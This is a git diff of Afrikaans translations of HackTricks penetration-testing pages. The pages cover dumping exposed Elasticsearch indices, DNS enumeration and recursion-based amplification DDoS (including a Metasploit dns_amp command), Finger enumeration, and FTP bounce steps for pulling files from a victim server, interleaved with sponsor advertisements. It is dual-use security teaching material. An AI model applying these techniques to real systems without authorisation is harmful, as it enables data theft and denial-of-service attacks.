So, op hierdie punt mag jy opgemerk het dat **daar 'n veld genaamd "total" binne "hits" is** wat aandui dat **1000 dokumente gevind is** binne hierdie indeks, maar slegs 10 is teruggehaal. Dit is omdat **daar per standaard 'n limiet van 10 dokumente is**.\
|
So, op hierdie punt mag jy opgemerk het dat **daar 'n veld genaamd "total" binne "hits" is** wat aandui dat **1000 dokumente gevind is** binne hierdie indeks, maar slegs 10 is teruggetrek. Dit is omdat **daar per standaard 'n limiet van 10 dokumente is**.\
|
||||||
Maar, nou dat jy weet dat **hierdie indeks 1000 dokumente bevat**, kan jy **almal daarvan dump** deur die aantal invoere wat jy wil dump in die **`size`** parameter aan te dui: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
Maar, nou dat jy weet dat **hierdie indeks 1000 dokumente bevat**, kan jy **almal dump** deur die aantal inskrywings wat jy wil dump in die **`size`** parameter aan te dui: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||||
_Notas: As jy 'n groter getal aandui, sal al die invoere steeds gedump word, byvoorbeeld jy kan `size=9999` aandui en dit sal vreemd wees as daar meer invoere was (maar jy moet dit nagaan)._
|
_Nota: As jy 'n groter getal aandui, sal al die inskrywings steeds gedump word, byvoorbeeld jy kan `size=9999` aandui en dit sal vreemd wees as daar meer inskrywings was (maar jy moet dit nagaan)._
|
||||||
|
|
||||||
### Dump alles
|
### Dump alles
|
||||||
|
|
||||||
|
@ -136,13 +144,13 @@ Onthou dat in hierdie geval die **standaard limiet van 10** resultate toegepas s
|
||||||
|
|
||||||
### Soek
|
### Soek
|
||||||
|
|
||||||
As jy op soek is na inligting kan jy 'n **raw soektog op al die indekse** doen deur te gaan na `http://host:9200/_search?pretty=true&q=<search_term>` soos in `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
As jy op soek is na inligting kan jy 'n **rauwe soektog op al die indekse** doen deur na `http://host:9200/_search?pretty=true&q=<search_term>` te gaan soos in `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (335).png>)
|
![](<../.gitbook/assets/image (335).png>)
|
||||||
|
|
||||||
As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig **specifiseer** op die **pad**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig **specifiseer** in die **pad**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||||
|
|
||||||
_Not dat die q parameter wat gebruik word om inhoud te soek **reguliere uitdrukkings ondersteun**_
|
_Nota dat die q parameter wat gebruik word om inhoud te soek **reguliere uitdrukkings ondersteun**_
|
||||||
|
|
||||||
Jy kan ook iets soos [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) gebruik om 'n elasticsearch diens te fuzz.
|
Jy kan ook iets soos [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) gebruik om 'n elasticsearch diens te fuzz.
|
||||||
|
|
||||||
|
@ -180,16 +188,24 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||||
|
|
||||||
* `port:9200 elasticsearch`
|
* `port:9200 elasticsearch`
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -17,13 +17,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **Basiese Inligting**
|
## **Basiese Inligting**
|
||||||
|
|
||||||
Die **Domeinnaamstelsel (DNS)** dien as die internet se gids, wat gebruikers in staat stel om toegang tot webwerwe te verkry deur middel van **maklik onthoubare domeinnames** soos google.com of facebook.com, eerder as die numeriese Internetprotokol (IP) adresse. Deur domeinnames in IP adresse te vertaal, verseker die DNS dat webblaaiers vinnig internetbronne kan laai, wat die manier waarop ons die aanlyn wêreld navigeer vereenvoudig.
|
Die **Domeinnaamstelsel (DNS)** dien as die internet se gids, wat gebruikers in staat stel om toegang tot webwerwe te verkry deur middel van **maklik onthoubare domeinnames** soos google.com of facebook.com, in plaas van die numeriese Internetprotokol (IP) adresse. Deur domeinnames in IP adresse te vertaal, verseker die DNS dat webblaaiers vinnig internetbronne kan laai, wat die manier vereenvoudig waarop ons die aanlyn wêreld navigeer.
|
||||||
|
|
||||||
**Standaard poort:** 53
|
**Standaard poort:** 53
|
||||||
```
|
```
|
||||||
|
@ -34,12 +36,12 @@ PORT STATE SERVICE REASON
|
||||||
```
|
```
|
||||||
### Verskillende DNS Bedieners
|
### Verskillende DNS Bedieners
|
||||||
|
|
||||||
* **DNS Wortel Bedieners**: Hierdie is aan die bokant van die DNS hiërargie, wat die topvlak domeine bestuur en slegs ingryp as laer vlak bedieners nie reageer nie. Die Internet Korporasie vir Toegewyde Name en Nommers (**ICANN**) toesig oor hul werking, met 'n globale telling van 13.
|
* **DNS Wortel Bedieners**: Hierdie is aan die top van die DNS hiërargie, wat die topvlak domeine bestuur en slegs ingryp as laer vlak bedieners nie reageer nie. Die Internet Korporasie vir Toegewyde Name en Nommers (**ICANN**) toesig oor hul werking, met 'n globale telling van 13.
|
||||||
* **Autoritatiewe Naamservers**: Hierdie bedieners het die finale sê vir navrae in hul aangewese sones, wat definitiewe antwoorde bied. As hulle nie 'n antwoord kan verskaf nie, word die navraag na die wortelbedieners opgestoot.
|
* **Autoritatiewe Naamservers**: Hierdie bedieners het die finale sê vir navrae in hul aangewese sones, wat definitiewe antwoorde bied. As hulle nie 'n antwoord kan verskaf nie, word die navraag na die wortelbedieners opgestoot.
|
||||||
* **Nie-autoritatiewe Naamservers**: Gebrek aan eienaarskap oor DNS sones, hierdie bedieners versamel domein inligting deur navrae aan ander bedieners.
|
* **Nie-autoritatiewe Naamservers**: Gebrek aan eienaarskap oor DNS sones, hierdie bedieners versamel domein inligting deur navrae aan ander bedieners.
|
||||||
* **Kas DNS Bediener**: Hierdie tipe bediener onthou vorige navraag antwoorde vir 'n bepaalde tyd om reaksietye vir toekomstige versoeke te versnel, met die kasduur wat deur die autoritatiewe bediener bepaal word.
|
* **Kas DNS Bediener**: Hierdie tipe bediener onthou vorige navraag antwoorde vir 'n bepaalde tyd om reaksietye vir toekomstige versoeke te versnel, met die kasduur wat deur die autoritatiewe bediener bepaal word.
|
||||||
* **Voorwaartse Bediener**: Wat 'n eenvoudige rol dien, stuur voorwaartse bedieners eenvoudig navrae na 'n ander bediener.
|
* **Voorwaartse Bediener**: Wat 'n eenvoudige rol dien, voorwaartse bedieners stuur eenvoudig navrae na 'n ander bediener.
|
||||||
* **Resolver**: Geïntegreer binne rekenaars of routers, voer resolvers naamresolusie plaaslik uit en word nie as autoritatief beskou nie.
|
* **Resolver**: Geïntegreer binne rekenaars of routers, resolvers voer naamresolusie plaaslik uit en word nie as autoritatief beskou nie.
|
||||||
|
|
||||||
## Enumerasie
|
## Enumerasie
|
||||||
|
|
||||||
|
@ -52,7 +54,7 @@ dig version.bind CHAOS TXT @DNS
|
||||||
```
|
```
|
||||||
Boonop kan die hulpmiddel [`fpdns`](https://github.com/kirei/fpdns) ook die bediener vingerafdruk.
|
Boonop kan die hulpmiddel [`fpdns`](https://github.com/kirei/fpdns) ook die bediener vingerafdruk.
|
||||||
|
|
||||||
Dit is ook moontlik om die banier te gryp met 'n **nmap** skrip:
|
Dit is ook moontlik om die banner te gryp met 'n **nmap** skrip:
|
||||||
```
|
```
|
||||||
--script dns-nsid
|
--script dns-nsid
|
||||||
```
|
```
|
||||||
|
@ -155,7 +157,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
|
||||||
```
|
```
|
||||||
### DNS Rekursie DDoS
|
### DNS Rekursie DDoS
|
||||||
|
|
||||||
As **DNS-rekursie geaktiveer is**, kan 'n aanvaller **spoof** die **oorsprong** op die UDP-pakket om die **DNS die antwoord na die slagofferbediener** te laat stuur. 'n Aanvaller kan **ANY** of **DNSSEC** rekordtipes misbruik, aangesien hulle groter antwoorde het.\
|
As **DNS-rekursie geaktiveer is**, kan 'n aanvaller **spoof** die **oorsprong** op die UDP-pakket om die **DNS die antwoord na die slagofferbediener** te laat stuur. 'n Aanvaller kan **ANY** of **DNSSEC** rekordtipes misbruik aangesien hulle groter antwoorde het.\
|
||||||
Die manier om te **kontroleer** of 'n DNS **rekursie** ondersteun, is om 'n domeinnaam te vra en te **kontroleer** of die **vlag "ra"** (_rekursie beskikbaar_) in die antwoord is:
|
Die manier om te **kontroleer** of 'n DNS **rekursie** ondersteun, is om 'n domeinnaam te vra en te **kontroleer** of die **vlag "ra"** (_rekursie beskikbaar_) in die antwoord is:
|
||||||
```bash
|
```bash
|
||||||
dig google.com A @<IP>
|
dig google.com A @<IP>
|
||||||
|
@ -170,13 +172,15 @@ dig google.com A @<IP>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
### Pos aan nie-bestaande rekening
|
### Pos aan nie-bestaande rekening
|
||||||
|
|
||||||
Deur die ondersoek van 'n nie-aflewering kennisgewing (NDN) wat veroorsaak is deur 'n e-pos wat na 'n ongeldige adres binne 'n teikendom gestuur is, word waardevolle interne netwerkbesonderhede dikwels bekend gemaak.
|
Deur die ondersoek van 'n nie-aflewering kennisgewing (NDN) wat veroorsaak is deur 'n e-pos wat na 'n ongeldige adres binne 'n teiken-domein gestuur is, word waardevolle interne netwerkbesonderhede dikwels bekend gemaak.
|
||||||
|
|
||||||
Die verskafde nie-afleweringsverslag sluit inligting in soos:
|
Die verskafde nie-afleweringsverslag sluit inligting in soos:
|
||||||
|
|
||||||
|
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, beveiligingskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -299,7 +305,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **Basiese Inligting**
|
## **Basiese Inligting**
|
||||||
|
|
||||||
Die **Finger** program/dienst is gebruik om besonderhede oor rekenaargebruikers te verkry. Gewoonlik sluit die inligting wat verskaf word die **gebruiker se aanmeldnaam, volle naam**, en, in sommige gevalle, addisionele besonderhede in. Hierdie ekstra besonderhede kan die kantoor ligging en telefoonnommer (indien beskikbaar), die tyd wat die gebruiker aangemeld het, die periode van inaktiwiteit (idle time), die laaste keer dat die gebruiker e-pos gelees het, en die inhoud van die gebruiker se plan en projek lêers insluit.
|
Die **Finger** program/dienst is gebruik om besonderhede oor rekenaargebruikers te verkry. Tipies sluit die inligting wat verskaf word die **gebruiker se aanmeldnaam, volle naam**, en, in sommige gevalle, addisionele besonderhede in. Hierdie ekstra besonderhede kan die kantoor ligging en telefoonnommer (indien beskikbaar), die tyd wat die gebruiker aangemeld het, die periode van inaktiwiteit (idle time), die laaste keer dat e-pos deur die gebruiker gelees is, en die inhoud van die gebruiker se plan en projeklêers insluit.
|
||||||
|
|
||||||
**Standaard poort:** 79
|
**Standaard poort:** 79
|
||||||
```
|
```
|
||||||
|
@ -73,7 +75,9 @@ finger @internal@external
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap en funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing- & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om essensiële bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -15,38 +15,42 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
# Samevatting
|
# Samevatting
|
||||||
|
|
||||||
As jy toegang het tot 'n bounce FTP bediener, kan jy dit laat versoek om lêers van ander FTP bedieners \(waar jy van sommige akrediteerbare inligting weet\) en daardie lêer na jou eie bediener aflaai.
|
As jy toegang het tot 'n bounce FTP bediener, kan jy dit laat versoek om lêers van ander FTP bedieners \(waarvan jy 'n paar akrediteer het\) en daardie lêer na jou eie bediener aflaai.
|
||||||
|
|
||||||
## Vereistes
|
## Vereistes
|
||||||
|
|
||||||
- Geldige FTP akrediteerbare inligting in die FTP Middel bediener
|
- Geldige FTP akrediteer in die FTP Middel bediener
|
||||||
- Geldige FTP akrediteerbare inligting in die Slachtoffer FTP bediener
|
- Geldige FTP akrediteer in die Slachtoffer FTP bediener
|
||||||
- Beide bedieners aanvaar die PORT opdrag \(bounce FTP aanval\)
|
- Beide bedieners aanvaar die PORT opdrag \(bounce FTP aanval\)
|
||||||
- Jy kan binne 'n gids van die FRP Middel bediener skryf
|
- Jy kan binne 'n gids van die FRP Middel bediener skryf
|
||||||
- Die middel bediener sal om een of ander rede meer toegang tot die Slachtoffer FTP Bediener hê as jy \(dit is wat jy gaan eksploteer\)
|
- Die middel bediener sal meer toegang hê binne die Slachtoffer FTP Bediener as jy om een of ander rede \(dit is wat jy gaan benut\)
|
||||||
|
|
||||||
## Stappe
|
## Stappe
|
||||||
|
|
||||||
1. Verbinde met jou eie FTP bediener en maak die verbinding passief \(pasv opdrag\) om dit te laat luister in 'n gids waar die slagoffer diens die lêer sal stuur
|
1. Verbinde met jou eie FTP bediener en maak die verbinding passief \(pasv opdrag\) om dit te laat luister in 'n gids waar die slagoffer diens die lêer sal stuur
|
||||||
2. Maak die lêer wat die FTP Middel bediener na die Slachtoffer bediener gaan stuur \(die eksploit\). Hierdie lêer sal 'n platte teks wees van die nodige opdragte om teen die Slachtoffer bediener te autentiseer, die gids te verander en 'n lêer na jou eie bediener af te laai.
|
2. Maak die lêer wat die FTP Middel bediener na die Slachtoffer bediener gaan stuur \(die exploit\). Hierdie lêer sal 'n platte teks wees van die nodige opdragte om teen die Slachtoffer bediener te autentiseer, die gids te verander en 'n lêer na jou eie bediener af te laai.
|
||||||
3. Verbinde met die FTP Middel Bediener en laai die vorige lêer op
|
3. Verbinde met die FTP Middel Bediener en laai die vorige lêer op
|
||||||
4. Laat die FTP Middel bediener 'n verbinding met die slagoffer bediener tot stand bring en die eksploit lêer stuur
|
4. Laat die FTP Middel bediener 'n verbinding met die slagoffer bediener tot stand bring en die exploit lêer stuur
|
||||||
5. Vang die lêer in jou eie FTP bediener
|
5. Vang die lêer in jou eie FTP bediener
|
||||||
6. Verwyder die eksploit lêer van die FTP Middel bediener
|
6. Verwyder die exploit lêer van die FTP Middel bediener
|
||||||
|
|
||||||
Vir meer gedetailleerde inligting, kyk na die pos: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
Vir meer gedetailleerde inligting, kyk na die pos: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,17 +17,19 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Exploiting
|
## Exploitering
|
||||||
|
|
||||||
